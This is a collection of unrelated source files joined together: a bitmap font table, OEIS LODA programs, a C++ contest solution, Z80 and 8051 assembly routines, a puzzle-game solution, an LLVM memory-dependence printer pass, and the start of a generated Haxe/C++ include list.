Db 000h,000h,000h,000h,000h,000h,07Ch,0C6h,070h,01Ch,0C6h,07Ch,000h,000h ; Hex #73
Db 000h,000h,000h,010h,030h,030h,0FCh,030h,030h,030h,036h,01Ch,000h,000h ; Hex #74
Db 000h,000h,000h,000h,000h,000h,0CCh,0CCh,0CCh,0CCh,0CCh,076h,000h,000h ; Hex #75
Db 000h,000h,000h,000h,000h,000h,0C6h,0C6h,0C6h,06Ch,038h,010h,000h,000h ; Hex #76
Db 000h,000h,000h,000h,000h,000h,0C6h,0C6h,0D6h,0D6h,0FEh,06Ch,000h,000h ; Hex #77
Db 000h,000h,000h,000h,000h,000h,0C6h,06Ch,038h,038h,06Ch,0C6h,000h,000h ; Hex #78
Db 000h,000h,000h,000h,000h,000h,0C6h,0C6h,0C6h,0C6h,07Eh,006h,00Ch,078h ; Hex #79
Db 000h,000h,000h,000h,000h,000h,0FEh,0CCh,018h,030h,066h,0FEh,000h,000h ; Hex #7A
Db 000h,000h,000h,00Eh,018h,018h,018h,070h,018h,018h,018h,00Eh,000h,000h ; Hex #7B
Db 000h,000h,000h,018h,018h,018h,018h,018h,018h,018h,018h,018h,000h,000h ; Hex #7C
Db 000h,000h,000h,070h,018h,018h,018h,00Eh,018h,018h,018h,070h,000h,000h ; Hex #7D
Db 000h,076h,0DCh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #7E
Db 000h,000h,000h,000h,000h,010h,038h,06Ch,0C6h,0C6h,0FEh,000h,000h,000h ; Hex #7F
Db 000h,000h,000h,03Ch,066h,0C2h,0C0h,0C0h,0C0h,0C2h,066h,03Ch,00Ch,078h ; Hex #80
Db 000h,000h,000h,0CCh,000h,000h,0CCh,0CCh,0CCh,0CCh,0CCh,076h,000h,000h ; Hex #81
Db 000h,000h,00Ch,018h,030h,000h,07Ch,0C6h,0FEh,0C0h,0C6h,07Ch,000h,000h ; Hex #82
Db 000h,000h,010h,038h,06Ch,000h,078h,00Ch,07Ch,0CCh,0CCh,076h,000h,000h ; Hex #83
Db 000h,000h,000h,076h,0DCh,000h,078h,00Ch,07Ch,0CCh,0CCh,076h,000h,000h ; Hex #84
Db 000h,000h,060h,030h,018h,000h,078h,00Ch,07Ch,0CCh,0CCh,076h,000h,000h ; Hex #85
Db 030h,060h,0C0h,010h,038h,06Ch,0C6h,0C6h,0FEh,0C6h,0C6h,0C6h,000h,000h ; Hex #86
Db 000h,000h,000h,000h,000h,000h,07Ch,0C6h,0C0h,0C0h,0C6h,07Ch,00Ch,078h ; Hex #87
Db 000h,000h,010h,038h,06Ch,000h,07Ch,0C6h,0FEh,0C0h,0C6h,07Ch,000h,000h ; Hex #88
Db 038h,06Ch,000h,0FEh,066h,062h,068h,078h,068h,062h,066h,0FEh,000h,000h ; Hex #89
Db 000h,000h,060h,030h,018h,000h,07Ch,0C6h,0FEh,0C0h,0C6h,07Ch,000h,000h ; Hex #8A
Db 00Ch,018h,000h,03Ch,018h,018h,018h,018h,018h,018h,018h,03Ch,000h,000h ; Hex #8B
Db 038h,06Ch,000h,07Ch,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #8C
Db 000h,000h,060h,030h,018h,000h,038h,018h,018h,018h,018h,03Ch,000h,000h ; Hex #8D
Db 076h,0DCh,000h,010h,038h,06Ch,0C6h,0C6h,0FEh,0C6h,0C6h,0C6h,000h,000h ; Hex #8E
Db 038h,06Ch,0C6h,010h,038h,06Ch,0C6h,0C6h,0FEh,0C6h,0C6h,0C6h,000h,000h ; Hex #8F
Db 00Ch,018h,000h,0FEh,066h,062h,068h,078h,068h,062h,066h,0FEh,000h,000h ; Hex #90
Db 018h,00Ch,006h,010h,038h,06Ch,0C6h,0C6h,0FEh,0C6h,0C6h,0C6h,000h,000h ; Hex #91
Db 030h,018h,000h,0FEh,066h,062h,068h,078h,068h,062h,066h,0FEh,000h,000h ; Hex #92
Db 000h,000h,010h,038h,06Ch,000h,07Ch,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #93
Db 000h,000h,000h,076h,0DCh,000h,07Ch,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #94
Db 000h,000h,060h,030h,018h,000h,07Ch,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #95
Db 018h,030h,000h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #96
Db 000h,000h,060h,030h,018h,000h,0CCh,0CCh,0CCh,0CCh,0CCh,076h,000h,000h ; Hex #97
Db 030h,018h,000h,03Ch,018h,018h,018h,018h,018h,018h,018h,03Ch,000h,000h ; Hex #98
Db 076h,0DCh,000h,07Ch,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #99
Db 000h,0C6h,000h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #9A
Db 000h,000h,018h,018h,07Ch,0C6h,0C0h,0C0h,0C6h,07Ch,018h,018h,000h,000h ; Hex #9B
Db 000h,000h,038h,06Ch,064h,060h,0F0h,060h,060h,060h,0E6h,0FCh,000h,000h ; Hex #9C
Db 030h,018h,000h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #9D
Db 000h,000h,0FCh,066h,066h,07Ch,062h,066h,06Fh,066h,066h,0F3h,000h,000h ; Hex #9E
Db 00Ch,018h,000h,07Ch,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #9F
Db 000h,000h,00Ch,018h,030h,000h,078h,00Ch,07Ch,0CCh,0CCh,076h,000h,000h ; Hex #A0
Db 000h,000h,00Ch,018h,030h,000h,038h,018h,018h,018h,018h,03Ch,000h,000h ; Hex #A1
Db 000h,000h,00Ch,018h,030h,000h,07Ch,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #A2
Db 000h,000h,00Ch,018h,030h,000h,0CCh,0CCh,0CCh,0CCh,0CCh,076h,000h,000h ; Hex #A3
Db 000h,000h,000h,076h,0DCh,000h,0DCh,066h,066h,066h,066h,066h,000h,000h ; Hex #A4
Db 076h,0DCh,000h,0C6h,0E6h,0F6h,0FEh,0DEh,0CEh,0C6h,0C6h,0C6h,000h,000h ; Hex #A5
Db 000h,000h,03Ch,06Ch,06Ch,03Eh,000h,07Eh,000h,000h,000h,000h,000h,000h ; Hex #A6
Db 000h,000h,038h,06Ch,06Ch,038h,000h,07Ch,000h,000h,000h,000h,000h,000h ; Hex #A7
Db 000h,000h,000h,030h,030h,000h,030h,030h,060h,0C6h,0C6h,07Ch,000h,000h ; Hex #A8
Db 030h,018h,000h,07Ch,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #A9
Db 000h,000h,000h,000h,000h,000h,000h,0FEh,006h,006h,006h,000h,000h,000h ; Hex #AA
Db 000h,000h,060h,0E0h,063h,066h,06Ch,018h,030h,06Eh,0C3h,006h,00Ch,01Fh ; Hex #AB
Db 000h,000h,060h,0E0h,063h,066h,06Ch,01Ah,036h,06Eh,0DAh,03Fh,006h,006h ; Hex #AC
Db 000h,000h,000h,018h,018h,000h,018h,018h,03Ch,03Ch,03Ch,018h,000h,000h ; Hex #AD
Db 000h,000h,000h,000h,000h,036h,06Ch,0D8h,06Ch,036h,000h,000h,000h,000h ; Hex #AE
Db 000h,000h,000h,000h,000h,0D8h,06Ch,036h,06Ch,0D8h,000h,000h,000h,000h ; Hex #AF
Db 011h,044h,011h,044h,011h,044h,011h,044h,011h,044h,011h,044h,011h,044h ; Hex #B0
Db 055h,0AAh,055h,0AAh,055h,0AAh,055h,0AAh,055h,0AAh,055h,0AAh,055h,0AAh ; Hex #B1
Db 0DDh,077h,0DDh,077h,0DDh,077h,0DDh,077h,0DDh,077h,0DDh,077h,0DDh,077h ; Hex #B2
Db 018h,018h,018h,018h,018h,018h,018h,018h,018h,018h,018h,018h,018h,018h ; Hex #B3
Db 018h,018h,018h,018h,018h,018h,018h,0F8h,018h,018h,018h,018h,018h,018h ; Hex #B4
Db 018h,018h,018h,018h,018h,0F8h,018h,0F8h,018h,018h,018h,018h,018h,018h ; Hex #B5
Db 036h,036h,036h,036h,036h,036h,036h,0F6h,036h,036h,036h,036h,036h,036h ; Hex #B6
Db 000h,000h,000h,000h,000h,000h,000h,0FEh,036h,036h,036h,036h,036h,036h ; Hex #B7
Db 000h,000h,000h,000h,000h,0F8h,018h,0F8h,018h,018h,018h,018h,018h,018h ; Hex #B8
Db 036h,036h,036h,036h,036h,0F6h,006h,0F6h,036h,036h,036h,036h,036h,036h ; Hex #B9
Db 036h,036h,036h,036h,036h,036h,036h,036h,036h,036h,036h,036h,036h,036h ; Hex #BA
Db 000h,000h,000h,000h,000h,0FEh,006h,0F6h,036h,036h,036h,036h,036h,036h ; Hex #BB
Db 036h,036h,036h,036h,036h,0F6h,006h,0FEh,000h,000h,000h,000h,000h,000h ; Hex #BC
Db 036h,036h,036h,036h,036h,036h,036h,0FEh,000h,000h,000h,000h,000h,000h ; Hex #BD
Db 018h,018h,018h,018h,018h,0F8h,018h,0F8h,000h,000h,000h,000h,000h,000h ; Hex #BE
Db 000h,000h,000h,000h,000h,000h,000h,0F8h,018h,018h,018h,018h,018h,018h ; Hex #BF
Db 018h,018h,018h,018h,018h,018h,018h,01Fh,000h,000h,000h,000h,000h,000h ; Hex #C0
Db 018h,018h,018h,018h,018h,018h,018h,0FFh,000h,000h,000h,000h,000h,000h ; Hex #C1
Db 000h,000h,000h,000h,000h,000h,000h,0FFh,018h,018h,018h,018h,018h,018h ; Hex #C2
Db 018h,018h,018h,018h,018h,018h,018h,01Fh,018h,018h,018h,018h,018h,018h ; Hex #C3
Db 000h,000h,000h,000h,000h,000h,000h,0FFh,000h,000h,000h,000h,000h,000h ; Hex #C4
Db 018h,018h,018h,018h,018h,018h,018h,0FFh,018h,018h,018h,018h,018h,018h ; Hex #C5
Db 018h,018h,018h,018h,018h,01Fh,018h,01Fh,018h,018h,018h,018h,018h,018h ; Hex #C6
Db 036h,036h,036h,036h,036h,036h,036h,037h,036h,036h,036h,036h,036h,036h ; Hex #C7
Db 036h,036h,036h,036h,036h,037h,030h,03Fh,000h,000h,000h,000h,000h,000h ; Hex #C8
Db 000h,000h,000h,000h,000h,03Fh,030h,037h,036h,036h,036h,036h,036h,036h ; Hex #C9
Db 036h,036h,036h,036h,036h,0F7h,000h,0FFh,000h,000h,000h,000h,000h,000h ; Hex #CA
Db 000h,000h,000h,000h,000h,0FFh,000h,0F7h,036h,036h,036h,036h,036h,036h ; Hex #CB
Db 036h,036h,036h,036h,036h,037h,030h,037h,036h,036h,036h,036h,036h,036h ; Hex #CC
Db 000h,000h,000h,000h,000h,0FFh,000h,0FFh,000h,000h,000h,000h,000h,000h ; Hex #CD
Db 036h,036h,036h,036h,036h,0F7h,000h,0F7h,036h,036h,036h,036h,036h,036h ; Hex #CE
Db 018h,018h,018h,018h,018h,0FFh,000h,0FFh,000h,000h,000h,000h,000h,000h ; Hex #CF
Db 036h,036h,036h,036h,036h,036h,036h,0FFh,000h,000h,000h,000h,000h,000h ; Hex #D0
Db 000h,000h,000h,000h,000h,0FFh,000h,0FFh,018h,018h,018h,018h,018h,018h ; Hex #D1
Db 000h,000h,000h,000h,000h,000h,000h,0FFh,036h,036h,036h,036h,036h,036h ; Hex #D2
Db 036h,036h,036h,036h,036h,036h,036h,03Fh,000h,000h,000h,000h,000h,000h ; Hex #D3
Db 018h,018h,018h,018h,018h,01Fh,018h,01Fh,000h,000h,000h,000h,000h,000h ; Hex #D4
Db 000h,000h,000h,000h,000h,01Fh,018h,01Fh,018h,018h,018h,018h,018h,018h ; Hex #D5
Db 000h,000h,000h,000h,000h,000h,000h,03Fh,036h,036h,036h,036h,036h,036h ; Hex #D6
Db 036h,036h,036h,036h,036h,036h,036h,0FFh,036h,036h,036h,036h,036h,036h ; Hex #D7
Db 018h,018h,018h,018h,018h,0FFh,018h,0FFh,018h,018h,018h,018h,018h,018h ; Hex #D8
Db 018h,018h,018h,018h,018h,018h,018h,0F8h,000h,000h,000h,000h,000h,000h ; Hex #D9
Db 000h,000h,000h,000h,000h,000h,000h,01Fh,018h,018h,018h,018h,018h,018h ; Hex #DA
Db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh ; Hex #DB
Db 000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh ; Hex #DC
Db 0F0h,0F0h,0F0h,0F0h,0F0h,0F0h,0F0h,0F0h,0F0h,0F0h,0F0h,0F0h,0F0h,0F0h ; Hex #DD
Db 00Fh,00Fh,00Fh,00Fh,00Fh,00Fh,00Fh,00Fh,00Fh,00Fh,00Fh,00Fh,00Fh,00Fh ; Hex #DE
Db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h ; Hex #DF
Db 000h,000h,000h,000h,000h,000h,076h,0DCh,0D8h,0D8h,0DCh,076h,000h,000h ; Hex #E0
Db 000h,000h,000h,078h,0CCh,0CCh,0CCh,0D8h,0CCh,0C6h,0C6h,0CCh,000h,000h ; Hex #E1
Db 000h,000h,000h,0FEh,0C6h,0C6h,0C0h,0C0h,0C0h,0C0h,0C0h,0C0h,000h,000h ; Hex #E2
Db 000h,000h,000h,000h,000h,000h,0FEh,06Ch,06Ch,06Ch,06Ch,06Ch,000h,000h ; Hex #E3
Db 000h,000h,000h,0FEh,0C6h,060h,030h,018h,030h,060h,0C6h,0FEh,000h,000h ; Hex #E4
Db 000h,000h,000h,000h,000h,000h,07Eh,0D8h,0D8h,0D8h,0D8h,070h,000h,000h ; Hex #E5
Db 000h,000h,000h,000h,000h,000h,066h,066h,066h,066h,066h,07Ch,060h,0C0h ; Hex #E6
Db 000h,000h,000h,000h,000h,076h,0DCh,018h,018h,018h,018h,018h,000h,000h ; Hex #E7
Db 000h,000h,000h,07Eh,018h,03Ch,066h,066h,066h,03Ch,018h,07Eh,000h,000h ; Hex #E8
Db 000h,000h,000h,038h,06Ch,0C6h,0C6h,0FEh,0C6h,0C6h,06Ch,038h,000h,000h ; Hex #E9
Db 000h,000h,000h,038h,06Ch,0C6h,0C6h,0C6h,06Ch,06Ch,06Ch,0EEh,000h,000h ; Hex #EA
Db 000h,000h,000h,01Eh,030h,018h,00Ch,03Eh,066h,066h,066h,03Ch,000h,000h ; Hex #EB
Db 000h,000h,000h,000h,000h,000h,07Eh,0DBh,0DBh,07Eh,000h,000h,000h,000h ; Hex #EC
Db 000h,000h,000h,003h,006h,07Eh,0DBh,0DBh,0F3h,07Eh,060h,0C0h,000h,000h ; Hex #ED
Db 000h,000h,000h,01Eh,030h,060h,060h,07Eh,060h,060h,030h,01Eh,000h,000h ; Hex #EE
Db 000h,000h,000h,000h,07Ch,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,000h,000h ; Hex #EF
Db 000h,000h,000h,000h,0FEh,000h,000h,0FEh,000h,000h,0FEh,000h,000h,000h ; Hex #F0
Db 000h,000h,000h,000h,018h,018h,07Eh,018h,018h,000h,000h,07Eh,000h,000h ; Hex #F1
Db 000h,000h,000h,030h,018h,00Ch,006h,00Ch,018h,030h,000h,07Eh,000h,000h ; Hex #F2
Db 000h,000h,000h,00Ch,018h,030h,060h,030h,018h,00Ch,000h,07Eh,000h,000h ; Hex #F3
Db 000h,000h,00Eh,01Bh,01Bh,018h,018h,018h,018h,018h,018h,018h,018h,018h ; Hex #F4
Db 018h,018h,018h,018h,018h,018h,018h,018h,0D8h,0D8h,070h,000h,000h,000h ; Hex #F5
Db 000h,000h,000h,000h,000h,018h,000h,07Eh,000h,018h,000h,000h,000h,000h ; Hex #F6
Db 000h,000h,000h,000h,000h,076h,0DCh,000h,076h,0DCh,000h,000h,000h,000h ; Hex #F7
Db 000h,038h,06Ch,06Ch,038h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #F8
Db 000h,000h,000h,000h,000h,000h,000h,018h,018h,000h,000h,000h,000h,000h ; Hex #F9
Db 000h,000h,000h,000h,000h,000h,000h,018h,000h,000h,000h,000h,000h,000h ; Hex #FA
Db 000h,00Fh,00Ch,00Ch,00Ch,00Ch,00Ch,00Ch,0ECh,06Ch,03Ch,01Ch,000h,000h ; Hex #FB
Db 000h,06Ch,036h,036h,036h,036h,036h,000h,000h,000h,000h,000h,000h,000h ; Hex #FC
Db 000h,03Ch,066h,00Ch,018h,032h,07Eh,000h,000h,000h,000h,000h,000h,000h ; Hex #FD
Db 000h,000h,000h,000h,000h,07Eh,07Eh,07Eh,07Eh,07Eh,07Eh,000h,000h,000h ; Hex #FE
Db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #FF
|
; A311914: Coordination sequence Gal.4.58.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,8,13,17,22,26,30,34,38,43,47,52,56,60,64,68,73,77,82,86,90,94,98,103,107,112,116,120,124,128,133,137,142,146,150,154,158,163,167,172,176,180,184,188,193,197,202,206,210
mov $7,$0
mov $9,2
lpb $9
sub $9,1
add $0,$9
sub $0,1
mov $8,$0
mul $0,2
mov $2,$0
mul $2,$8
mov $4,$8
mov $6,$0
add $6,$2
lpb $0
mov $0,$4
mov $3,$6
div $3,14
mov $5,6
add $6,$3
lpe
trn $5,9
add $6,1
add $5,$6
mov $8,$5
mov $10,$9
lpb $10
mov $1,$8
sub $10,1
lpe
lpe
lpb $7
sub $1,$8
mov $7,0
lpe
mov $0,$1
|
/*
written by Pankaj Kumar.
country:-INDIA
*/
#include <bits/stdc++.h>
using namespace std;
typedef long long ll ;
typedef vector<ll> vl;
typedef vector<bool> vb;
typedef vector<char> vc;
typedef map<ll,ll> ml;
typedef set<char>sc;
typedef set<ll> sl;
#define pan cin.tie(0);cout.tie(0);ios_base::sync_with_stdio(0);
// define values.
// #define mod 1000000007
#define phi 1.618
/* Bit-Stuff */
#define get_set_bits(a) (__builtin_popcount(a))
#define get_set_bitsll(a) ( __builtin_popcountll(a))
#define get_trail_zero(a) (__builtin_ctz(a))
#define get_lead_zero(a) (__builtin_clz(a))
#define get_parity(a) (__builtin_parity(a))
/* Abbrevations */
#define ff first
#define ss second
#define mp make_pair
#define line cout<<endl;
#define pb push_back
#define Endl "\n"
// loops
#define forin(arr,n) for(ll i=0;i<n;i++) cin>>arr[i];
// Some print
#define no cout<<"NO"<<endl;
#define yes cout<<"YES"<<endl;
#define cc ll test;cin>>test;while(test--)
// sort
#define all(V) (V).begin(),(V).end()
#define srt(V) sort(all(V))
#define srtGreat(V) sort(all(V),greater<ll>())
// function
ll power(ll x,ll y,ll mod)
{
ll res=1;
// x=x%mod;
while(y>0)
{
if(y%2==1)
{
res*=x;
// res=res%mod;
}
y/=2; x*=x; // x=x%mod;
}
return res;
}
/* ascii value
A=65,Z=90,a=97,z=122
*/
/* -----------------------------------------------------------------------------------*/
ll solve()
{
ll n;
cin>>n;
vl v(n);
forin(v,n);
vl dp1(n,0),dp2(n,0);
dp1[0]=v[0];
for(ll i=1;i<n;i++)
dp1[i]=min(dp1[i-1]+1,v[i]);
dp2[n-1]=v[n-1];
for(ll i=n-2;i>=0;i--)
dp2[i]=min(dp2[i+1]+1,v[i]);
for(ll i=0;i<n;i++)
cout<<min(dp1[i],dp2[i])<<" ";
line;
return 0;
}
int main()
{
//freopen("input.txt"a, "r", stdin);
pan;
// solve();
cc
{
solve();
}
return 0;
}
/* stuff you should look before submission
* int overflow
* special test case (n=0||n=1||n=2)
* don't get stuck on one approach if you get wrong answer
*/ |
; void *zx_aaddrcleft_fastcall(void *attraddr)
SECTION code_arch
PUBLIC _zx_aaddrcleft_fastcall
_zx_aaddrcleft_fastcall:
INCLUDE "arch/zx/display/z80/asm_zx_aaddrcleft.asm"
|
-- 7 Billion Humans --
-- 20: Reverse Line --
-- Size: 12/12 --
-- Speed: 13/13 --
step s
pickup c
step s
a:
if e == wall:
step n
b:
if w != hole and
w != datacube:
step w
jump b
endif
drop
end
endif
step e
jump a
|
LJMP START
ORG 100H
START:
CALL LCD_CLR
KLAWISZ:
CALL WAIT_KEY
MOV R2, A
CALL LCD_CLR
MOV A, R2
CALL HTB ;wysyłam 2 razy to samo, bo od razu zrobiłem jako podprogram
CALL WRITE_HEX
SJMP KLAWISZ
HTB:
MOV R0,#00h
MOV R1,#00h
CJNE A,#00h,CALC_HTB
RET
CALC_HTB:
;DIV C
MOV B,#100 ; dzielenie przez 100
DIV AB
MOV R0,A ; zapisz Akumulator do R0
;DIV C
MOV A,B
MOV B,#10 ; podziel przez 10
DIV AB
SWAP A
MOV R1,A ; zapisz dziesiątki do R1
MOV A,B
ORL A,R1
MOV R1,A ;zapisz jedności do R1
RET |
; A259547: a(n) = n^4*Fibonacci(n).
; 0,1,16,162,768,3125,10368,31213,86016,223074,550000,1303049,2985984,6654713,14482832,30881250,64684032,133383037,271257984,544872101,1082400000,2128789026,4148908016,8019403537,15383789568,29306640625,55473687568,104384578338,195344438016,363704401349,673952400000,1243307693149,2284122537984,4179871066338,7620973202032,13846964665625,25077258104832,45275638466537,81504148355984,146315857097826,261975436800000,467889904812301,833667843206016,1482031214710037,2628947266522368,4653812311481250,8222005747958768,14498581738631713,25520353119830016,44842899942817249,78664181406250000,137773393282835874,240927106792329984,420691182491024213,733537989509807232,1277279581285778125,2221135021484101632,3857535351721368162,6691293913528783984,11592946166190197801,20062193476723200000,34680104154837674201,59884641132214384016,103299574207128552162,178009782588348039168,306453820969646228125,527078130056620483968,905703623773196558213,1554927647586556022016,2667218151412036778274,4571323701926331350000,7828361104350064876849,13395381337865630121984,22903622477780127317713,39131568436688587708432,66808707545399238281250,113980360425427190514432,194323890950729599096037,331077256781223172281984,563698582520194806723901,959149193153236377600000,1630999896928323614432226,2771768199924670255932016,4707621179718749793140537,7990867381773027236179968,13556267248446168388615625,22985071777844518744673168,38950829426214700632490338,65971753627885970930774016,111679897494007034782357549,188961208622669245633200000,319562514564684186293992949,540168444731909716745673984,912635452085435428883314338,1541219856727692657468315632,2601568363791590506074690625,4389483228423545598857183232,7402919709554111685137689537,12479812059177884709280339984,21029655629592031549125118626
mov $2,$0
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
pow $2,4
mul $0,$2
|
; size_t getline(char **lineptr, size_t *n, FILE *stream)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _getline
EXTERN l0_getline_callee
_getline:
pop af
pop hl
pop de
pop bc
push af
jp l0_getline_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _getline
EXTERN _getline_unlocked
defc _getline = _getline_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
//===- MemDepPrinter.cpp - Printer for MemoryDependenceAnalysis -----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/Passes.h"
#include "llvm/ADT/SetVector.h"
#include "llvm/Analysis/MemoryDependenceAnalysis.h"
#include "llvm/IR/CallSite.h"
#include "llvm/IR/InstIterator.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
namespace {
struct MemDepPrinter : public FunctionPass {
const Function *F;
enum DepType {
Clobber = 0,
Def,
NonFuncLocal,
Unknown
};
static const char *const DepTypeStr[];
typedef PointerIntPair<const Instruction *, 2, DepType> InstTypePair;
typedef std::pair<InstTypePair, const BasicBlock *> Dep;
typedef SmallSetVector<Dep, 4> DepSet;
typedef DenseMap<const Instruction *, DepSet> DepSetMap;
DepSetMap Deps;
static char ID; // Pass identifcation, replacement for typeid
MemDepPrinter() : FunctionPass(ID) {
initializeMemDepPrinterPass(*PassRegistry::getPassRegistry());
}
bool runOnFunction(Function &F) override;
void print(raw_ostream &OS, const Module * = nullptr) const override;
void getAnalysisUsage(AnalysisUsage &AU) const override {
AU.addRequiredTransitive<AliasAnalysis>();
AU.addRequiredTransitive<MemoryDependenceAnalysis>();
AU.setPreservesAll();
}
void releaseMemory() override {
Deps.clear();
F = nullptr;
}
private:
static InstTypePair getInstTypePair(MemDepResult dep) {
if (dep.isClobber())
return InstTypePair(dep.getInst(), Clobber);
if (dep.isDef())
return InstTypePair(dep.getInst(), Def);
if (dep.isNonFuncLocal())
return InstTypePair(dep.getInst(), NonFuncLocal);
assert(dep.isUnknown() && "unexpected dependence type");
return InstTypePair(dep.getInst(), Unknown);
}
static InstTypePair getInstTypePair(const Instruction* inst, DepType type) {
return InstTypePair(inst, type);
}
};
}
char MemDepPrinter::ID = 0;
INITIALIZE_PASS_BEGIN(MemDepPrinter, "print-memdeps",
"Print MemDeps of function", false, true)
INITIALIZE_PASS_DEPENDENCY(MemoryDependenceAnalysis)
INITIALIZE_PASS_END(MemDepPrinter, "print-memdeps",
"Print MemDeps of function", false, true)
FunctionPass *llvm::createMemDepPrinter() {
return new MemDepPrinter();
}
const char *const MemDepPrinter::DepTypeStr[]
= {"Clobber", "Def", "NonFuncLocal", "Unknown"};
bool MemDepPrinter::runOnFunction(Function &F) {
this->F = &F;
MemoryDependenceAnalysis &MDA = getAnalysis<MemoryDependenceAnalysis>();
// All this code uses non-const interfaces because MemDep is not
// const-friendly, though nothing is actually modified.
for (inst_iterator I = inst_begin(F), E = inst_end(F); I != E; ++I) {
Instruction *Inst = &*I;
if (!Inst->mayReadFromMemory() && !Inst->mayWriteToMemory())
continue;
MemDepResult Res = MDA.getDependency(Inst);
if (!Res.isNonLocal()) {
Deps[Inst].insert(std::make_pair(getInstTypePair(Res),
static_cast<BasicBlock *>(nullptr)));
} else if (CallSite CS = cast<Value>(Inst)) {
const MemoryDependenceAnalysis::NonLocalDepInfo &NLDI =
MDA.getNonLocalCallDependency(CS);
DepSet &InstDeps = Deps[Inst];
for (MemoryDependenceAnalysis::NonLocalDepInfo::const_iterator
I = NLDI.begin(), E = NLDI.end(); I != E; ++I) {
const MemDepResult &Res = I->getResult();
InstDeps.insert(std::make_pair(getInstTypePair(Res), I->getBB()));
}
} else {
SmallVector<NonLocalDepResult, 4> NLDI;
assert( (isa<LoadInst>(Inst) || isa<StoreInst>(Inst) ||
isa<VAArgInst>(Inst)) && "Unknown memory instruction!");
MDA.getNonLocalPointerDependency(Inst, NLDI);
DepSet &InstDeps = Deps[Inst];
for (SmallVectorImpl<NonLocalDepResult>::const_iterator
I = NLDI.begin(), E = NLDI.end(); I != E; ++I) {
const MemDepResult &Res = I->getResult();
InstDeps.insert(std::make_pair(getInstTypePair(Res), I->getBB()));
}
}
}
return false;
}
void MemDepPrinter::print(raw_ostream &OS, const Module *M) const {
for (const_inst_iterator I = inst_begin(*F), E = inst_end(*F); I != E; ++I) {
const Instruction *Inst = &*I;
DepSetMap::const_iterator DI = Deps.find(Inst);
if (DI == Deps.end())
continue;
const DepSet &InstDeps = DI->second;
for (DepSet::const_iterator I = InstDeps.begin(), E = InstDeps.end();
I != E; ++I) {
const Instruction *DepInst = I->first.getPointer();
DepType type = I->first.getInt();
const BasicBlock *DepBB = I->second;
OS << " ";
OS << DepTypeStr[type];
if (DepBB) {
OS << " in block ";
DepBB->printAsOperand(OS, /*PrintType=*/false, M);
}
if (DepInst) {
OS << " from: ";
DepInst->print(OS);
}
OS << "\n";
}
Inst->print(OS);
OS << "\n\n";
}
}
|
#include <hxcpp.h>
#ifndef INCLUDED_Conductor
#include <Conductor.h>
#endif
#ifndef INCLUDED_KadeEngineData
#include <KadeEngineData.h>
#endif
#ifndef INCLUDED_KeyBinds
#include <KeyBinds.h>
#endif
#ifndef INCLUDED_Main
#include <Main.h>
#endif
#ifndef INCLUDED_flixel_FlxG
#include <flixel/FlxG.h>
#endif
#ifndef INCLUDED_flixel_input_IFlxInputManager
#include <flixel/input/IFlxInputManager.h>
#endif
#ifndef INCLUDED_flixel_input_gamepad_FlxGamepad
#include <flixel/input/gamepad/FlxGamepad.h>
#endif
#ifndef INCLUDED_flixel_input_gamepad_FlxGamepadManager
#include <flixel/input/gamepad/FlxGamepadManager.h>
#endif
#ifndef INCLUDED_flixel_util_FlxSave
#include <flixel/util/FlxSave.h>
#endif
#ifndef INCLUDED_flixel_util_IFlxDestroyable
#include <flixel/util/IFlxDestroyable.h>
#endif
#ifndef INCLUDED_openfl_Lib
#include <openfl/Lib.h>
#endif
#ifndef INCLUDED_openfl_display_DisplayObject
#include <openfl/display/DisplayObject.h>
#endif
#ifndef INCLUDED_openfl_display_DisplayObjectContainer
#include <openfl/display/DisplayObjectContainer.h>
#endif
#ifndef INCLUDED_openfl_display_IBitmapDrawable
#include <openfl/display/IBitmapDrawable.h>
#endif
#ifndef INCLUDED_openfl_display_InteractiveObject
#include <openfl/display/InteractiveObject.h>
#endif
#ifndef INCLUDED_openfl_display_MovieClip
#include <openfl/display/MovieClip.h>
#endif
#ifndef INCLUDED_openfl_display_Sprite
#include <openfl/display/Sprite.h>
